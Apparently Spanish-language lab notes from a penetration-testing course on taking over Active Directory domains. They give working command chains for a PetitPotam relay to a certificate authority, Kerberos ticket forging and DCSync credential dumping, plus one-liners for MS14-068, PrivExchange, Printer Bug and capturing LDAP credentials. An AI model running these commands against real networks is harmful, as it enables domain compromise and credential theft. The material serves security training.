Permite a un usuario normal convertirse en Domain Admin en segundos: se crea una cuenta de computadora (permitido por defecto) y se renombra para que coincida con un DC; al pedir tickets Kerberos el sistema la confunde con el DC real.
Fuerza a un DC a autenticarse con NTLM; se relaya a un Certificate Authority para obtener un certificado, que se usa para pedir un TGT.
terminal
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController$ python3 PetitPotam.py 172.16.5.225 172.16.5.5# Con el certificado base64 del DC, obtener TGT y DCSync:$ python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <CERT_B64> dc01.ccache$ export KRB5CCNAME=dc01.ccachesecretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
Misconfigs
Grupos peligrosos: Exchange Windows Permissions y Organization Management pueden otorgar DCSync. Get-DomainGroupMember -Identity "Exchange Windows Permissions"
PrivExchange: autenticación forzada del servidor Exchange; relay a LDAP con ntlmrelayx.
Printer Bug (MS-RPRN): fuerza autenticación SMB desde el Spooler (SYSTEM). Get-SpoolStatus -ComputerName DC01.domain.local
MS14-068: PAC falsificado para elevar a Domain Admin. goldenPac.py dominio/usuario:contraseña@dc.dominio.local
Captura de credenciales LDAP: redirigir LDAP a un listener. nc -lvp 389
adidnsdump: descubre registros DNS ocultos. adidnsdump -u dominio\\usuario ldap://ip.dc -r